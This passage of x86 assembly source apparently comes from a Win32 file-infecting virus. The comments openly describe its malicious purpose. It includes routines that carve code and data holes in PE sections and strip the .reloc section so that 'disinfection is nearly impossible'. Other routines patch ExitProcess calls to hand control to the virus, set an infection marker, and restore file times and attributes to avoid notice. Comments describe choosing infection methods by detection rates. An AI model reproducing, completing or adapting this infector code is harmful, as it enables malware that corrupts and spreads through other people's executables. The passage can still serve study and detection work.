                xor     eax, eax
                mov     [ebx+58h], eax    ; Set the infection mark (the CRC of
                                          ; the executable to 0)
                xor     edi, edi    ; Set "NO_ERROR" flag
                jmp   @@NoError

     ;; If the file is already infected or the headers doesn't meet the
     ;; required characteristics, we jump here.
     @@Error4:  call    UndoChanges  ; Undo the changes to the file
                mov     edi, 1       ; Set "ERROR" flag

    @@NoError:  push    eax          ; Close the file mapping
                push    ecx
                push    edx ; APICALL_BEGIN
                mov     eax, [ebp+MappingAddress]
                push    eax
                call    dword ptr [ebp+RVA_UnmapViewOfFile]
                pop     edx
                pop     ecx
                pop     eax ; APICALL_END
                jmp   @@NoError3

     ;; We jump here if we failed while mapping a view of the file in memory
     @@Error3:  mov     edi, 1       ; Set "ERROR" flag
     @@NoError3:
                push    eax          ; Close the handle of the file mapping
                push    ecx
                push    edx ; APICALL_BEGIN
                mov     eax, [ebp+hMapping]
                push    eax
                call    dword ptr [ebp+RVA_CloseHandle]
                pop     edx
                pop     ecx
                pop     eax ; APICALL_END
                jmp   @@NoError2

    ;; Jump here if we failed while creating a file mapping object
    @@Error2:   mov     edi, 1       ; Set "ERROR" flag
    @@NoError2:
                push    eax          ; Let's truncate the file: we set it
                push    ecx          ; to the original size again if we
                push    edx          ; failed to infect
                xor     eax, eax
                push    eax ; push 0
                push    eax ; push 0
                or      edi, edi
                jnz   @@ThereWasAnError
                mov     eax, [ebp+FileSize]
                jmp   @@FixSize
    @@ThereWasAnError:
                mov     eax, [ebp+OriginalFileSize]
    @@FixSize:  push    eax
                mov     eax, [ebp+hFile]
                push    eax
                call    dword ptr [ebp+RVA_SetFilePointer]
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END

                push    eax          ; Truncate the file
                push    ecx
                push    edx  ; APICALL_BEGIN
                mov     eax, [ebp+hFile]
                push    eax
                call    dword ptr [ebp+RVA_SetEndOfFile]
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END

   @@DontFixSize:
                push    eax          ; Restore the original file time from
                push    ecx          ; the data stored at the FindFile struct
                push    edx  ; APICALL_BEGIN

                mov     eax, [ebp+FindFileData]
                add     eax, 14h
                push    eax
                sub     eax, 8
                push    eax
                sub     eax, 8
                push    eax
                mov     eax, [ebp+hFile]
                push    eax
                call    dword ptr [ebp+RVA_SetFileTime]
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END

                push    eax          ; Close the file handle
                push    ecx
                push    edx  ; APICALL_BEGIN
                mov     eax, [ebp+hFile]
                push    eax
                call    dword ptr [ebp+RVA_CloseHandle]
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END

     @@Error:   push    eax          ; Restore the file attributes
                push    ecx
                push    edx  ; APICALL_BEGIN
                mov     eax, [ebp+FileAttributes]
                push    eax
                mov     eax, [ebp+Addr_FilePath]
                push    eax
                call    dword ptr [ebp+RVA_SetFileAttributesA]
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END
     @@Error_:  ret
TouchFile       endp


;;; This is the main function to make holes. This function is capable of
;;; support two types of holes, being the first situated at .text or CODE
;;; section. The code can be easily modified to situate the holes at the end
;;; of other sections, but the current action is more stealthy. After this,
;;; if we remove .reloc section from the executable, we can't know how the
;;; host was before, so disinfection is nearly impossible.
PrepareFile     proc
                mov     eax, [ebp+MappingAddress]
                mov     ebx, [eax]
                and     ebx, 0FFFFh
                cmp     ebx, 0+'ZM'       ; Get the header. If the standard
                jnz   @@Error             ; win32 executable marks don't
                mov     ebx, [eax+18h]    ; exist ("MZ" and "PE") we finish
                and     ebx, 0FFh         ; with error (of course)
                cmp     ebx, 40h
                jnz   @@Error
                mov     ebx, [eax+3Ch]
                add     ebx, eax
                mov     ecx, [ebx]
                cmp     ecx, 0+'EP'
                jnz   @@Error

                mov     [ebp+HeaderAddress], ebx

                mov     ecx, [ebx+58h]    ; Get the file checksum at the
                or      ecx, ecx          ; header. if it's 0, it's already
                jz    @@Error             ; infected.

                mov     ecx, [ebx+4]      ; Get the type of executable
                and     ecx, 0FFFFh
                cmp     ecx, 014Ch        ; x86?
                jz    @@IA32              ; If so, jump to IA-32 infection

  ;; PE32+ for IA64     ; Reserved for future release (v2)
                jmp   @@Error  ; Exit and finish
; You can think: what's the point of making this check? The reason is that
; nowadays is more easy to find a server or a home PC with a FTP or HTTP
; server with files to get, and there are many of them that are for other
; types of processors, so better if we check the processor type. And, in the
; future, we'll have new processors like IA-64 (Itanium) and maybe others.

  ;; PE32 for x86
       @@IA32:  mov     ecx, [ebx+6]   ; Get the number of sections in the
                and     ecx, 0FFFFh    ; executable.
                ; ECX = Number of sections
                mov     edx, [ebx+14h] ; Get the start address of the
                and     edx, 0FFFFh    ; sections.
                add     edx, 18h
                add     edx, ebx
                mov     [ebp+StartOfSectionHeaders], edx
                xor     eax, eax                ; Initialize the interesting
                mov     [ebp+RelocHeader], eax  ; sections addresses.
                mov     [ebp+TextHeader], eax
                mov     [ebp+DataHeader], eax

        @@LoopSections:
                mov     eax, [edx]       ; Get the name of the section in the
                mov     esi, [edx+4]     ; pair EAX-ESI
                cmp     eax, 'ler.'      ; Is the name ".reloc"?
                jnz   @@LookForCode
                cmp     esi, 0+'co'
                jnz   @@NextSection
                mov     [ebp+RelocHeader], edx  ; Then, set the address
                jmp   @@NextSection
        @@LookForCode:
                cmp     eax, 'xet.'      ; Is the name ".text"?
                jnz   @@LookForCode2
                cmp     esi, 0+'t'
                jnz   @@NextSection
                mov     [ebp+TextHeader], edx ; Then, set the address of the
                jmp   @@NextSection           ; code header
        @@LookForCode2:
                cmp     eax, 'EDOC'      ; Is the name "CODE"?
                jnz   @@LookForData
                or      esi, esi
                jnz   @@NextSection
                mov     [ebp+TextHeader], edx ; Then set the address of the
                jmp   @@NextSection           ; code header
        @@LookForData:
                cmp     eax, 'tad.'      ; Is the name ".data"?
                jnz   @@LookForData2
                cmp     esi, 0+'a'
                jnz   @@NextSection
                mov     [ebp+DataHeader], edx ; Then set the address of the
                jmp   @@NextSection           ; data header
        @@LookForData2:
                cmp     eax, 'ATAD'      ; Is the name "DATA"?
                jnz   @@LookForData3
                or      esi, esi
                jnz   @@NextSection
                mov     [ebp+DataHeader], edx ; Then set the address of the
                jmp   @@NextSection           ; data header
        @@LookForData3:

        @@NextSection:
                mov     [ebp+LastHeader], edx ; Set the last header
                add     edx, 28h            ; Next header
                dec     ecx                 ; If it wasn't the last one,
                or      ecx, ecx            ; continue checking
                jnz   @@LoopSections

                xor     eax, eax              ; Initialize the addresses that
                mov     [ebp+ExitProcessAddress], eax    ; we need for making
                mov     [ebp+VirtualAllocAddress], eax   ; a correct infection
                mov     [ebp+GetProcAddressAddress], eax
                mov     [ebp+GetModuleHandleAddress], eax

                mov     eax, [ebp+TextHeader]   ; If we haven't retrieved a
                or      eax, eax                ; code or data section, we
                jz    @@Error                   ; exit with error
                mov     eax, [ebp+DataHeader]
                or      eax, eax
                jz    @@Error
                mov     eax, [ebp+RelocHeader]  ; IF we have .reloc section,
                or      eax, eax                ; we'll make section shifting.
                jz    @@NoRelocs    ; If not, try another alternative method.

                mov     eax, 3
                call    RandomBoolean_X000_3
                or      eax, eax    ; Although there is .reloc section, don't
                jz    @@NoRelocs2   ; make that infection always. Doing this,
                                    ; we have a not fixed way of infecting.
                         ; Moreover, it's selected by our genetic algorithm,
                         ; which makes that if it's not viable (i.e. it's
                         ; more detected) the probability is lower.

;; Now we are going to make section shifting. We use the relocation section
;; to update all the pointers that point to data that is going to be shifted
;; down,

                mov     eax, [ebp+RelocHeader]
                cmp     eax, [ebp+LastHeader]
                jnz   @@Error   ; Avoid .reloc section in the middle

                ;; Everything is OK to start!
                mov     eax, 1           ; Mark that we are doing the hole
                mov     [ebp+MakingFirstHole], eax  ; at the code section
                mov     esi, [ebp+TextHeader]
                mov     ecx, 1000h       ; Maximum size of decryptor
                call    UpdateHeaders    ; Make the hole.
                ; Returns:
                ; ECX = Unchanged
                ; EAX = Physical offset of created hole, or NULL if error
                ; EDI = RVA of hole
                mov     [ebp+RVA_TextHole], edi
                mov     [ebp+Phys_TextHole], eax
                mov     [ebp+TextHoleSize], ecx

                mov     eax, [ebp+ExitProcessAddress]
                or      eax, eax      ; If ExitProcess is not imported by the
                jz    @@Error         ; host, finish (undoing the changes)
             ;   mov     eax, [ebp+VirtualAllocAddress]
             ;   or      eax, eax
             ;   jz    @@Error
                mov     eax, [ebp+GetProcAddressAddress]
                or      eax, eax     ; Check the import of the GetProcAddress.
                jz    @@Error        ; If it's not imported, error
                mov     eax, [ebp+GetModuleHandleAddress]
                or      eax, eax  ; If the host doesn't import GetModuleHandle,
                jz    @@Error     ; finish with error

                mov     ebx, [ebp+HeaderAddress]
                add     [ebx+1Ch], ecx       ; Add the size of the hole to
                                             ; the size of code in the exec.
                                             ; header
                add     [ebp+FileSize], ecx  ; Add it to the track size too.

                xor     eax, eax                  ; Set that we are making
                mov     [ebp+MakingFirstHole], eax ; the second hole.
                mov     esi, [ebp+DataHeader]
                mov     ecx, [ebp+RoundedSizeOfNewCode]
                call    UpdateHeaders             ; Make the data hole
                mov     [ebp+RVA_DataHole], edi   ; Set the physical and
                mov     [ebp+Phys_DataHole], eax  ;  virtual addresses.

                mov     ebx, [ebp+HeaderAddress]  ; Now we are going to update
                                                  ; the addresses of the
                mov     eax, [ebp+ExitProcessAddress] ; functions. We don't
                add     eax, [ebx+34h]                ; need to check that
                mov     [ebp+ExitProcessAddress], eax ; they have a value
                                                   ; because we know that they
                mov     eax, [ebp+GetProcAddressAddress] ; have it. If not,
                add     eax, [ebx+34h]                ; we had exited when
                mov     [ebp+GetProcAddressAddress], eax ; making the first
                                                        ; hole (the code hole)
                mov     eax, [ebp+GetModuleHandleAddress]
                add     eax, [ebx+34h]
                mov     [ebp+GetModuleHandleAddress], eax

                mov     eax, [ebp+VirtualAllocAddress]
                or      eax, eax               ; If we have VirtualAlloc
                jz    @@DontAddBaseAddress     ; available, update it also
                add     eax, [ebp+34h]
                mov     [ebp+VirtualAllocAddress], eax
     @@DontAddBaseAddress:
                add     [ebx+20h], ecx         ; Increase the virtual size
                add     [ebp+FileSize], ecx    ; of the data in the file and
                                               ; the file size itself
                mov     esi, [ebp+RelocHeader]
                mov     eax, [esi+0Ch]
                mov     [ebx+50h], eax         ; Set the new image size of
                                               ; the executable.
                mov     edi, [esi+14h]
                mov     ecx, [ebp+FileSize]   ; Now set the physical size of
                sub     ecx, edi              ; the file in the FileSize var,
                mov     [ebp+FileSize], edi   ; so when closing the file
                                              ; mapping we'll set the new
                                              ; physical size (i.e. eliminate
                                              ; the .reloc section).
                add     edi, [ebp+MappingAddress]
                xor     eax, eax              ; Fill with 0s the .reloc
     @@Loop0:   mov     [edi], eax            ; section
                add     edi, 4
                sub     ecx, 4
                or      ecx, ecx
                jnz   @@Loop0

                mov     ecx, 28h       ; Now eliminate the .reloc header in
     @@Loop1:   mov     [esi], eax     ; the PE header
                add     esi, 4
                sub     ecx, 4
                or      ecx, ecx
                jnz   @@Loop1

                mov     [ebx+0A0h], eax  ; Eliminate the relocation entry in
                mov     [ebx+0A4h], eax  ; the list of directories

                mov     eax, [ebx+06h]   ; Decrease the number of sections
                sub     eax, 1
                mov     [ebx+06h], eax
                mov     eax, [ebx+16h]   ; Set that the reloc info has been
                or      eax, 1           ; stripped from the file
                mov     [ebx+16h], eax

                mov     eax, 1000h    ; Set the maximum size of the decryptor
                mov     [ebp+MaxSizeOfDecryptor], eax ; to 1000h (the maximum
                                                      ; size we use for it)
                xor     eax, eax      ; Set "ALL OK" on returning
                ret
         @@Error:
                mov     eax, 1        ; Set "ERROR"!
                ret

;; This code is reached when the .reloc section exists, but we want to make
;; an infection as if there isn't a .reloc section. In this way the behaviour
;; of the infection method is not fixed.
     @@NoRelocs2:
                xor     eax, eax        ; Set the .reloc address to 0 as if
                mov     [ebp+RelocHeader], eax ; there wasn't .reloc section

     @@NoRelocs:
                xor     ecx, ecx        ; Retrieve the required function
                mov     edx, -1         ; addresses.
                call    UpdateImports

                mov     ecx, [ebp+HeaderAddress]      ; Check every function
                mov     eax, [ebp+ExitProcessAddress] ; address (and exit with
                or      eax, eax                      ; error if they couldn't
                jz    @@Error                         ; be retrieved) and get
                add     eax, [ecx+34h]                ; the final virtual addr.
                mov     [ebp+ExitProcessAddress], eax ; of every one, adding
                                                      ; the image base.
                mov     eax, [ebp+GetProcAddressAddress]
                or      eax, eax
                jz    @@Error
                add     eax, [ecx+34h]
                mov     [ebp+GetProcAddressAddress], eax

                mov     eax, [ebp+GetModuleHandleAddress]
                or      eax, eax
                jz    @@Error
                add     eax, [ecx+34h]
                mov     [ebp+GetModuleHandleAddress], eax

                mov     eax, [ebp+VirtualAllocAddress] ; If we haven't
                or      eax, eax                       ; VirtualAlloc, we don't
                jz    @@NoVirtualAlloc                 ; exit with error, but
                add     eax, [ecx+34h]                 ; then we have to
                mov     [ebp+VirtualAllocAddress], eax ; retrieve it in
     @@NoVirtualAlloc:                          ; runtime in the decryptor.

;; Pseudo-code of the algorithm we use to get a virtual hole in .text where
;; we can put the decryptor:
;;
;; If(PhysicalSize > VirtualSize)
;;      Phys_TextHoleAddr = VirtualSize;
;;      Virt_TextHoleAddr = VirtualSize;
;;      TextHoleSize = PhysicalSize - VirtualSize;
;;      If((TextHoleSize + VirtualSize) > NextVirtualAddress)
;;         Exit;
;;      VirtualSize += TextHoleSize;
;;      /* The hole is already made physically */
;; If(PhysicalSize <= VirtualSize)
;;    Phys_TextHoleAddr = PhysicalSize;
;;    Virt_TextHoleAddr = PhysicalSize;
;;    TextHoleSize = VirtualSize - PhysicalSize;
;;    If(TextHoleSize < MIN_SIZE)
;;         Exit;
;;    If(TextHoleSize > MAX_SIZE)
;;         TextHoleSize = MAX_SIZE;
;;    PhysicalSize += TextHoleSize;
;;    Add TextHoleSize to physical offset of all headers (from .text)
;;    Make a hole of size TextHoleSize at Phys_TextHoleAddr

                xor     eax, eax
                call    RandomBoolean_X004_7  ; Don't rely on fixed methods.
                and     eax, 0Fh    ; Using this method, one on every X
                or      eax, eax    ; infections will be forced to use the
                                    ; "no virtual hole" (and if it's not
                                    ; good, the genetic algorithm will make
                                    ; the adjust by "evolution").
                jz    @@HoleAtLastSection

                mov     ebx, [ebp+TextHeader]
                mov     eax, [ebx+10h]    ; Get the physical size
                cmp     eax, [ebx+08h]    ; Check against the virtual size
                jae   @@CheckPaddingSpace ; If Phys_Size > Virt_Size, jump
                add     eax, [ebx+14h]    ; Get the physical offset where the
                                          ; section ends
                mov     [ebp+Phys_TextHole], eax ; Set the physical address
                mov     eax, [ebx+10h]           ; Get the physical address
                add     eax, [ebx+0Ch]           ; Add the virtual size
                mov     [ebp+RVA_TextHole], eax  ; Size the virtual address of
                                                 ; the hole.
                mov     eax, [ebx+08h]      ; Get the virtual size
                sub     eax, [ebx+10h]      ; Subtract the physical size
                cmp     eax, 200h          ; If the hole has a size of at least
                jb    @@HoleAtLastSection  ; 512 bytes,
                cmp     eax, 80000000h     ; If it's signed (phys_size > virt)
                ja    @@Error              ; then exit with error
                cmp     eax, 1000h         ; If the size is greater than 4096
                jbe   @@TextHoleSizeOK     ; bytes, limit it to 4096.
                mov     eax, 1000h
      @@TextHoleSizeOK:
                mov     [ebp+MaxSizeOfDecryptor], eax ; Set the max size.
                mov     edx, ebx
                mov     ecx, [ebp+LastHeader]   ; Get the last header in ECX
      @@LoopAddPhysicalSize:
                cmp     edx, ebx               ; Add the physical size to the
                jz    @@NextAddPhysicalSize    ; physical offset of every
                add     [edx+14h], eax         ; section to update it and make
      @@NextAddPhysicalSize:                   ; the physical hole effective.
                cmp     edx, ecx
                jz    @@EndAddPhysicalSize
                add     edx, 28h
                jmp   @@LoopAddPhysicalSize

      @@EndAddPhysicalSize:                  ; Now we make the hole physically.
                mov     edx, [ebp+MappingAddress]
                mov     edi, edx
                add     edx, [ebx+14h]
                add     edx, [ebx+10h]
                add     edi, [ebp+FileSize]
                mov     esi, edi
                add     edi, eax
                add     [ebx+10h], eax
                mov     eax, 1000h
                add     [ebp+FileSize], eax
      @@LoopMakePhysicalHole:        ; Make the hole
                sub     edi, 4
                sub     esi, 4
                mov     eax, [esi]
                mov     [edi], eax
                cmp     edi, edx
                jnz   @@LoopMakePhysicalHole
                jmp   @@TextHoleMade

;; This method of infection uses the last section to put both decryptor and
;; virus data. It's the method that makes more heuristical alarms, but well,
;; it's a standard one. Since we don't touch the section flags (in fact, if
;; the section flags have a WRITABLE flag we exit) we avoid that alarm.
      @@HoleAtLastSection:
                mov     ebx, [ebp+LastHeader]
                mov     eax, [ebx+08h]
                add     eax, [ebx+0Ch]    ; Set the virtual code hole at the
                mov     [ebp+RVA_TextHole], eax ; virtual end of the last sec.
                mov     eax, [ebx+08h]      ; Physically, the same (but at the
                add     eax, [ebx+14h]      ; physical end)
                mov     [ebp+Phys_TextHole], eax
                mov     eax, 1000h          ; Set the maximum size of the
                mov     [ebp+MaxSizeOfDecryptor], eax  ; decryptor to 4096
                add     [ebx+08h], eax
                add     [ebx+10h], eax
                add     [ebp+FileSize], eax
                mov     eax, [ebx+24h]
;                or      eax, 20000020h ; If section is readable, is also
                               ; executable, since the exec flag is only
                               ; checked at startup (and we don't jump here
                               ; directly, since we use EPO).
                and     eax, 0FDFFFFFFh ; Eliminate the "DISCARDABLE" flag
                mov     [ebx+24h], eax

                jmp   @@GetDataHole


      @@CheckPaddingSpace:              ; Set the physical and virtual code
                mov     eax, [ebx+08h]  ; hole address. After that, check
                add     eax, [ebx+0Ch]  ; if we have enough padding space to
                mov     [ebp+RVA_TextHole], eax  ; make the decryptor there.
                mov     eax, [ebx+08h]
                add     eax, [ebx+14h]
                mov     [ebp+Phys_TextHole], eax
                mov     eax, [ebx+10h]
                sub     eax, [ebx+08h]  ; Set the alignment padding size as the
                mov     [ebp+MaxSizeOfDecryptor], eax ; maximum size of the
                cmp     eax, 200h              ; decryptor. If it's below 512,
                jb    @@HoleAtLastSection      ; make a last-section infection.
                mov     ecx, eax
                mov     eax, [ebx+10h]
                add     eax, [ebx+0Ch]     ; If the virtual address + physical
                cmp     eax, [ebx+28h+0Ch] ; size of the section overpasses the
                ja    @@Error              ; virtual size of the next section
                                           ; (overlapping it), exit with error.
                add     [ebx+08h], ecx     ; Add the virtual size of the hole.

;; Fill hole with 0s
      @@TextHoleMade:
                mov     ecx, [ebp+MaxSizeOfDecryptor]
                mov     edi, [ebp+Phys_TextHole]
                add     edi, [ebp+MappingAddress]
                xor     eax, eax
                and     ecx, 0FFFFFFFCh
      @@LoopFillHole:
                mov     [edi], eax  ; Overwrite the data of the hole with 0s.
                add     edi, 4
                sub     ecx, 4
                or      ecx, ecx
                jnz   @@LoopFillHole

                mov     eax, [ebx+08h]  ; Set the new virtual size of the code
                mov     esi, [ebp+HeaderAddress] ; section as the virtual code
                mov     [esi+1Ch], eax           ; size in the PE header.

      @@GetDataHole:
                mov     ebx, [ebp+LastHeader]
                mov     eax, [ebp+RoundedSizeOfNewCode]
                add     [ebp+FileSize], eax
                mov     ecx, [ebx+24h]
                and     ecx, 80000000h
                or      ecx, ecx
                jnz   @@Error              ; If last header is writable, exit!
                mov     ecx, [ebx+10h]
                add     ecx, [ebx+14h]          ; Set the physical and virtual
                mov     [ebp+Phys_DataHole], ecx ; addresses of the data hole
                mov     ecx, [ebx+10h]
                add     ecx, [ebx+0Ch]
                mov     [ebp+RVA_DataHole], ecx
                add     eax, [ebx+10h]
                mov     [ebx+10h], eax           ; Set the new section sizes
                mov     [ebx+08h], eax

      @@AllHolesPrepared:
                mov     esi, [ebp+HeaderAddress] ; Set the new image size of
                mov     eax, [ebx+0Ch]           ; the executable in the PE
                add     eax, [ebx+08h]           ; header
                mov     [esi+50h], eax

;; Let's patch ExitProcess:
                mov     edx, [ebp+ExitProcessAddress] ; Get the virtual address
                mov     ebx, [ebp+TextHeader]         ; of the import table
                mov     esi, [ebx+14h]                ; where the function is.
                add     esi, [ebp+MappingAddress]
                mov     ecx, [ebx+10h]
                sub     ecx, 6

      @@LoopFindExitProcess:                  ; Search calls to that import
                mov     eax, [esi]            ; entry in the code of the
                and     eax, 0FFh             ; executable.
                cmp     eax, 0FFh
                jnz   @@NextInstruction
                mov     eax, [esi+1]
                and     eax, 0FFh
                cmp     eax, 25h        ; Search for both CALL ExitProcess
                jz    @@JMPMemFound     ; and JMP ExitProcess (normally used
                cmp     eax, 15h        ; by Microsoft's Visual Studio
                jnz   @@NextInstruction ; compiler and Borland compiler
      @@JMPMemFound:                    ; respectivelly).
                mov     eax, [esi+2]
                cmp     eax, edx
                jnz   @@NextInstruction
      ;; ExitProcess found
                add     esi, 2           ; Patch that call/jmp to point to the
                push    edx              ; code hole where the decryptor is.
                mov     edx, [ebp+HeaderAddress] ; In this way, our virus gets
                mov     edx, [edx+34h]           ; the control when the exec
                add     edx, [ebp+RVA_TextHole]  ; exits.
                call    PatchExitProcess
                pop     edx
                add     esi, 4
      @@NextInstruction:
                add     esi, 1           ; Continue the search.
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopFindExitProcess

                xor     eax, eax         ; Return with no error.
                ret
PrepareFile     endp

;; This function is the one that makes the code and data holes when we infect
;; by shifting down the sections of the executable.
;;
;; ESI = Header of section where we make the hole at the end
;; ECX = Size of hole
UpdateHeaders   proc
;; Things to do:
;; 1) Update all offsets & code that point after the hole address using .reloc
;;   info
;; 2) Update virtual & physical offsets that point after the hole address
;;   referenced at section headers
;; 3) Update directory addresses at PE header
;; 4) Update all RVA references at resources tree
;; 5) Update all RVA references under import and export structures
;; They are not performed in this order!
                push    ecx                        ; Get what hole we are 
                mov     eax, [ebp+MakingFirstHole] ; making (code or data hole)
                or      eax, eax
                jz    @@MakingDataHole      ; If data hole, jump (put the hole
                                            ; at the beginning of the section)
                mov     eax, [esi+10h]
                cmp     eax, [esi+08h]  ; Fix the virtual size if it's smaller
                jbe   @@TextSizeOK      ; than the physical size.
                mov     [esi+08h], eax
        @@TextSizeOK:
                mov     edi, [esi+0Ch]
                add     edi, [esi+10h]  ; EDI = RVA of hole
                push    edi
                mov     eax, [esi+14h]
                add     eax, [esi+10h]  ; EAX = Physical address of hole
                push    eax
                jmp   @@BeginUpdates    ; All OK to start
        @@MakingDataHole:
                mov     edi, [esi+0Ch]
                push    edi             ; EDI = RVA of hole
                mov     eax, [esi+14h]
                push    eax

        @@BeginUpdates:

       ; Let's update some headers
       ; At this point:
       ; ECX = Size of hole
       ; ESI = Header of section containing the hole
       ; EDI = RVA of hole
        @@UpdateResources:
                mov     eax, [ebp+HeaderAddress]
                mov     ebx, [eax+88h]             ; Get the physical address
                or      ebx, ebx                   ; of the resources
                jz    @@UpdateImports
                call    TranslateVirtualToPhysical
                or      ebx, ebx
                jz    @@End                        ; Only virtual???

                mov     eax, [ebx+0Ch]    ; Get the number of resource entries
                and     eax, 0FFFFh       ; in EDX
                mov     edx, [ebx+0Eh]
                and     edx, 0FFFFh
                add     edx, eax
                or      edx, edx
                jz    @@UpdateImports

                ; EBX = Address of root
                ; EDX = Number of entries
                mov     eax, ebx          ; Update all the resources offsets
                add     eax, 10h
                call    UpdateResourceDir

        @@UpdateImports:
                call    UpdateImports     ; Update the imports (using the
                                          ; address of the hole at EDI and
                                          ; the size at ECX)

                mov     eax, [ebp+GetModuleHandleAddress]
                or      eax, eax                   ; Check if the required
                jz    @@End                        ; functions for a proper
;                 mov     eax, [ebp+VirtualAllocAddress] ; virus-work are
;                 or      eax, eax                       ; imported. If not,
;                 jz    @@End                            ; exit.
                mov     eax, [ebp+GetProcAddressAddress]
                or      eax, eax
                jz    @@End
                mov     eax, [ebp+ExitProcessAddress]
                or      eax, eax
                jz    @@End

        @@UpdateExports:                          ; Get the address of the
                mov     eax, [ebp+HeaderAddress]  ; exporting data (if exists)
                mov     ebx, [eax+78h]
                or      ebx, ebx                  ; If there aren't exports,
                jz    @@ExportsUpdated            ; update the next part
                call    TranslateVirtualToPhysical
                or      ebx, ebx                  ; Next part if error
                jz    @@ExportsUpdated
                mov     eax, [ebx+0Ch]        ; If the offsets in the header
                cmp     eax, edi              ; are situated AFTER the hole,
                jb    @@UpdateExportsOK_01    ; then we add the hole size
                add     [ebx+0Ch], ecx
        @@UpdateExportsOK_01:
                mov     eax, [ebx+1Ch]
                mov     edx, [ebx+14h]
                call    UpdateArrayOfRVAs     ; Update the RVAs in this array
                mov     eax, [ebx+1Ch]        ; Update the array RVA itself
                cmp     eax, edi
                jb    @@UpdateExportsOK_02
                add     [ebx+1Ch], ecx
        @@UpdateExportsOK_02:
                mov     eax, [ebx+20h]        ; Update the RVAs in this array
                mov     edx, [ebx+18h]
                call    UpdateArrayOfRVAs
                mov     eax, [ebx+20h]        ; Update the array RVA itself
                cmp     eax, edi
                jb    @@UpdateExportsOK_03
                add     [ebx+20h], ecx
        @@UpdateExportsOK_03:

        @@ExportsUpdated:

        ; Now we update all references inside code to things that point after
        ; the RVA of the hole we are creating. For that, we use .reloc info.
        @@UpdateCodeSection:
                push    esi
                mov     eax, [ebp+RelocHeader]  ; Get the relocation data
                mov     eax, [eax+14h]
                add     eax, [ebp+MappingAddress]
      @@LoopUpdate_00:
                mov     esi, [eax]          ; If it's void, end the fixing of
                or      esi, esi            ; the code
                jz    @@AllUpdated
                mov     edx, 8
      @@LoopUpdate_01:
                cmp     edx, [eax+4]     ; Did we updated all the references
                jae   @@PageUpdated      ; for this page? If it's so, go to
                                         ; update the next page.
                add     eax, edx
                mov     ebx, [eax]
                sub     eax, edx         ; Get the fix address
                and     ebx, 0FFFFh
                add     edx, 2
                cmp     ebx, 2FFFh       ; If it's not Intel ( <0x3000) don't
                jbe   @@LoopUpdate_01    ; fix it
                and     ebx, 0FFFh
                add     ebx, [eax]       ; EBX = RVA of address to relocate
                mov     esi, [ebp+MakingFirstHole]
                or      esi, esi          ; If we are making the data hole,
                jnz   @@UpdateCodeSec_Cont00    ; we add the text hole size
                cmp     ebx, [ebp+RVA_TextHole] ; if the update is after the
                jb    @@UpdateCodeSec_Cont00    ; the text hole
                add     ebx, [ebp+TextHoleSize]
      @@UpdateCodeSec_Cont00:
                call    TranslateVirtualToPhysical ; Get the address in the
                or      ebx, ebx              ; mapping for this virtual addr.
                jz    @@LoopUpdate_01
                push    eax
                push    edx                   ; Get the virtual address where
                mov     eax, [ebp+HeaderAddress] ; the DWORD we are updating
                mov     edx, [ebx]               ; points to.
                sub     edx, [eax+34h]
                cmp     edx, edi          ; If it points after the virtual
                jb    @@TranslateOK_02    ; address of the hole, update it
                add     [ebx], ecx
                add     edx, ecx
        @@TranslateOK_02:
;; Now we check if that DWORD points to ExitProcess. If it does, we make it
;; point to the code hole.
                mov     esi, [ebx-2]       ; Get if it's CALL or JMP
                and     esi, 0FFFFh
                cmp     esi, 15FFh
                jz    @@CheckExitProcess
                cmp     esi, 25FFh         ; If it's not CALL/JMP DWORD PTR,
                jnz   @@ItsNotExitProcess  ; don't take action!
        @@CheckExitProcess:
                cmp     edx, [ebp+ExitProcessAddress] ; Check it it's a CALL/
                jnz   @@ItsNotExitProcess             ; /JMP to ExitProcess
                mov     edx, [ebp+HeaderAddress]
                mov     edx, [edx+34h]
                add     edx, edi               ; Get the virtual address
                push    esi
                mov     esi, ebx
                call    PatchExitProcess       ; Patch the ExitProcess
                pop     esi

                xor     eax, eax ; Break possible APICALL_END mistranslation

                pop     edx
                pop     eax

                push    eax
                add     eax, edx
                push    edx
                mov     edx, [eax-2]      ; We anulate the .reloc reference
                and     edx, 0FFFF0000h   ; to avoid other update
                mov     [eax-2], edx
                pop     edx
                pop     eax
                jmp   @@LoopUpdate_01
      @@ItsNotExitProcess:
      @@TranslateOK:                      ; Get the next relocation value
                pop     edx
                pop     eax
                jmp   @@LoopUpdate_01
      @@PageUpdated:
                add     eax, [eax+4]
                jmp   @@LoopUpdate_00
      @@AllUpdated:
                pop     esi

;; Now we update some RVAs at the PE header. If we are making the code hole,
;; since it's at the end of the section, we update the data checking with
;; JB (the x86 conditional jump, not the whisky! And now make a mental image
;; of "checking the data with JB": me, with the computer, and a glass with ice
;; and JB in my hand checking opcodes XD). If we are making the
;; data hole, we check them with JBE (ooooh, that's not whisky!).

                mov     eax, [ebp+MakingFirstHole]
                mov     ebx, [ebp+HeaderAddress]
                cmp     [ebx+0Ch], edi    ; RVA to the (possible) symbol table
                jb    @@Fixed_01
                or      eax, eax
                jnz   @@NotFixed_01
                cmp     [ebx+0Ch], edi
                jz    @@Fixed_01
        @@NotFixed_01:
                add     [ebx+0Ch], ecx
        @@Fixed_01:
                cmp     [ebx+28h], edi    ; RVA to the entrypoint
                jb    @@Fixed_02
                or      eax, eax
                jnz   @@NotFixed_02
                cmp     [ebx+28h], edi
                jz    @@Fixed_02
        @@NotFixed_02:
                add     [ebx+28h], ecx
        @@Fixed_02:
                cmp     [ebx+2Ch], edi    ; RVA to the base of code
                jb    @@Fixed_03
                or      eax, eax
                jnz   @@NotFixed_03
                cmp     [ebx+2Ch], edi
                jz    @@Fixed_03
        @@NotFixed_03:
                add     [ebx+2Ch], ecx
        @@Fixed_03:
                cmp     [ebx+30h], edi    ; RVA to the base of data
                jb    @@Fixed_04
                or      eax, eax
                jnz   @@NotFixed_04
                cmp     [ebx+30h], edi
                jz    @@Fixed_04
        @@NotFixed_04:
                add     [ebx+30h], ecx
        @@Fixed_04:
                add     [ebx+50h], ecx    ; Increase the size of the image
                                          ; by the size of the hole.

       ; Now we update the virtual offsets of the directories

                mov     edx, [ebp+HeaderAddress]        ; Get the number of
                mov     edx, [edx+74h]                  ; directories
                mov     ebx, [ebp+HeaderAddress]
                add     ebx, 78h
                xor     eax, eax
       @@LoopDir_01:
                cmp     eax, 4            ; If it's the security directory,
                jz    @@NextDir_01        ; don't update the address
